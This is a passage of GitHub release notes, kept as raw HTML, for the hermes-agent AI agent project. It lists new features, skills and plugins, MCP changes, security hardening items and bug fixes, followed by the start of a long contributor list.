data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigi206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigi206">@gigi206</a> + more)</li>
<li><code>hermes import-agent</code> — one-command migration from Claude Code / Codex CLI setups (<a href="https://github.com/NousResearch/hermes-agent/pull/72190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72190/hovercard">#72190</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-turn summary line + live token flow in the spinner; cross-surface theme SDK (one skin themes CLI, TUI, and desktop, live) (<a href="https://github.com/NousResearch/hermes-agent/pull/72246" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72246/hovercard">#72246</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68857/hovercard">#68857</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>TUI: reach the model picker without wrecking your draft + mid-turn switching; slash menu leads with your most-used skills; attachments live in the composer; Arabic (ar) locale with RTL across desktop/dashboard/agent (<a href="https://github.com/NousResearch/hermes-agent/pull/74756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74756/hovercard">#74756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75931" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75931/hovercard">#75931</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75210/hovercard">#75210</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70870/hovercard">#70870</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes -w</code> startup ~14s → ~1.8s; global <code>--version</code> fast path; banner update-check 6× faster; dashboard lazy-loads routes + GROUP BY session stats; session filtering tabs (Chats/Automation/All) (<a href="https://github.com/NousResearch/hermes-agent/pull/71637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71637/hovercard">#71637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62096/hovercard">#62096</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74188/hovercard">#74188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72294/hovercard">#72294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73362" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73362/hovercard">#73362</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73865/hovercard">#73865</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Runtime: Node 26 required across installers/heal/upgrade, managed Node/uv resolve before bare PATH, outdated managed trees heal to target major; brew + pip/PyPI wheel channels retired (shell installer / Docker / Nix are the supported channels) (<a href="https://github.com/NousResearch/hermes-agent/pull/76459" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76459/hovercard">#76459</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68217" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68217/hovercard">#68217</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>🧩 Skills, Plugins &amp; MCP</h2>
<ul>
<li><strong>A2A v1.0</strong> — Agent-to-Agent protocol plugin (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033216787" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/514" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/514/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/514">#514</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/77109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77109/hovercard">#77109</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Curator: surface unmanaged skills + <code>curator adopt</code>; skill-description truncation surfaced to authors; grounded-citations skill (+ fact-checking mode); simplify-code v1.1; tldraw-offline scripting skill (<a href="https://github.com/NousResearch/hermes-agent/pull/71648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71648/hovercard">#71648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70519/hovercard">#70519</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71698/hovercard">#71698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77104/hovercard">#77104</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70440" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70440/hovercard">#70440</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66896" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66896/hovercard">#66896</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Office skills bundled: docx, xlsx, pdf + refreshed powerpoint; skills-tree debloat continues (yuanbao, segment-anything, jupyter, heartmula, audiocraft → optional-skills; claude-marketplace source removed; hub restructure absorbing themes/desktop-plugins/tui-widgets) (<a href="https://github.com/NousResearch/hermes-agent/pull/68595" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68595/hovercard">#68595</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70452/hovercard">#70452</a>–<a href="https://github.com/NousResearch/hermes-agent/pull/70456" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70456/hovercard">#70456</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73903" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73903/hovercard">#73903</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: Comfy Cloud catalog entry with curated 20-tool default; hidden-whitespace warnings in MCP config; pinecone-research optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/66112" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66112/hovercard">#66112</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75736/hovercard">#75736</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70512/hovercard">#70512</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP lazy server startup from a fingerprint-keyed on-disk tool-schema cache — configured servers no longer all boot at session start (design from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791740729" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56832" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56832/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56832">#56832</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/77511" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77511/hovercard">#77511</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>NeMo Relay observability integration — re-landed after an in-window revert, on stable NeMo Relay 0.6 (<a href="https://github.com/NousResearch/hermes-agent/pull/67607" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67607/hovercard">#67607</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afourniernv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afourniernv">@afourniernv</a>)</li>
<li>Gateway health &amp; diagnostics OTLP export (<a href="https://github.com/NousResearch/hermes-agent/pull/64536" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64536/hovercard">#64536</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/victor-kyriazakos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/victor-kyriazakos">@victor-kyriazakos</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Iron-proxy credential-injection egress firewall re-landed (<a href="https://github.com/NousResearch/hermes-agent/pull/70848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70848/hovercard">#70848</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>DNS-pinned SSRF-safe fetches + Slack CDN allowlist; strict redaction at compaction boundaries; ReDoS eliminated in config-key redaction patterns; prose words embedding a secret keyword no longer masked (<a href="https://github.com/NousResearch/hermes-agent/pull/70193" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70193/hovercard">#70193</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69294/hovercard">#69294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76083/hovercard">#76083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67776/hovercard">#67776</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Tier-3 credential reads scoped (FAL/XAI/VERCEL/DAYTONA/GITHUB presence checks etc.); CVE dependency pins refreshed (cryptography, starlette, python-multipart); hindsight env file 0600; /model moved off the gateway event loop (<a href="https://github.com/NousResearch/hermes-agent/pull/75888" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75888/hovercard">#75888</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72362" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72362/hovercard">#72362</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows hardening wave: text-mode subprocess decode bug class closed repo-wide, console flashes hidden across daemons/env probes/LSP/installer paths, residual encoding gaps (MCP stdio, gateway update I/O, STT/TTS, desktop spawn) (<a href="https://github.com/NousResearch/hermes-agent/pull/70875" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70875/hovercard">#70875</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70205/hovercard">#70205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70264" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70264/hovercard">#70264</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71014/hovercard">#71014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging several community PRs)</li>
<li>State/session integrity: four session-state fixes (safe close tracking, flush-cursor class fix, row-retry, usage-PK healer); compact v23 FTS layout + <code>hermes sessions optimize</code> + CJK-bigram FTS; read-path split with per-thread read-only connections (<a href="https://github.com/NousResearch/hermes-agent/pull/75883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75883/hovercard">#75883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65798/hovercard">#65798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69423/hovercard">#69423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73344/hovercard">#73344</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>OpenViking memory-provider hardening — fail closed on blocked endpoints, server verification before credentials are sent, config.yaml-first settings (<a href="https://github.com/NousResearch/hermes-agent/pull/77747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77747/hovercard">#77747</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Credential pool: reset-aware primary restore (stay on fallback until the rate-limit window resets) + deferred-refresh locking fixes; FTS UPDATE triggers narrowed with fail-closed CJK migration (<a href="https://github.com/NousResearch/hermes-agent/pull/77631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77631/hovercard">#77631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77628/hovercard">#77628</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Config-driven memory allocator trim with telemetry; holographic memory vectors stored float32; loop-invariant HRR encodes hoisted (<a href="https://github.com/NousResearch/hermes-agent/pull/76905" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76905/hovercard">#76905</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76917" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76917/hovercard">#76917</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76881/hovercard">#76881</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Voice: full-duplex interruption during generation AND playback; whole-turn desktop speech; auto-TTS delivery gaps (<a href="https://github.com/NousResearch/hermes-agent/pull/74223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74223/hovercard">#74223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69936/hovercard">#69936</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73508/hovercard">#73508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop: Stop parks the queue instead of firing the next queued prompt; branch-in-new-chat restart loss; false remote-gateway reauthentication; cross-session composer leaks (<a href="https://github.com/NousResearch/hermes-agent/pull/68725" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68725/hovercard">#68725</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71960" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71960/hovercard">#71960</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68250/hovercard">#68250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70986" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70986/hovercard">#70986</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Gateway: session lists scoped before limiting; relay-backed home delivery after restart; timeline display events persisted (<a href="https://github.com/NousResearch/hermes-agent/pull/65509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65509/hovercard">#65509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70102/hovercard">#70102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69771/hovercard">#69771</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/victor-kyriazakos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/victor-kyriazakos">@victor-kyriazakos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Agent: context-length fallback logging + batch trajectory durability; Codex OAuth context windows revalidated against the live catalog (<a href="https://github.com/NousResearch/hermes-agent/pull/76027" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76027/hovercard">#76027</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68554" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68554/hovercard">#68554</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>...plus roughly 770 more <code>fix:</code> PRs across every subsystem this window.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>647 contributors</strong> shipped this release (commit authors, co-authors, and salvaged-PR credits).</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> (desktop, voice, perf), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> (perf, caching, salvage), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> (runtime, E2E, desktop), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> (relay, HSP, auth)</p>
<h3>All Contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0301chris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0301chris">@0301chris</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xAlcibiades/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xAlcibiades">@0xAlcibiades</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xLeathery/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xLeathery">@0xLeathery</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xprincess/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xprincess">@0xprincess</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xr00tf3rr3t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xr00tf3rr3t">@0xr00tf3rr3t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2001Y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2001Y">@2001Y</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/3ssiri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/3ssiri">@3ssiri</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/55nx954gn6-debug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/55nx954gn6-debug">@55nx954gn6-debug</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/686f6c61/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/686f6c61">@686f6c61</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/87degrees/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/87degrees">@87degrees</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abundantbeing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abundantbeing">@abundantbeing</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriansotomora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriansotomora">@adriansotomora</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adurham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adurham">@adurham</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afourniernv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afourniernv">@afourniernv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afurm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afurm">@afurm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AgenticSpark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AgenticSpark">@AgenticSpark</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmadashfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmadashfq">@ahmadashfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>,<br>
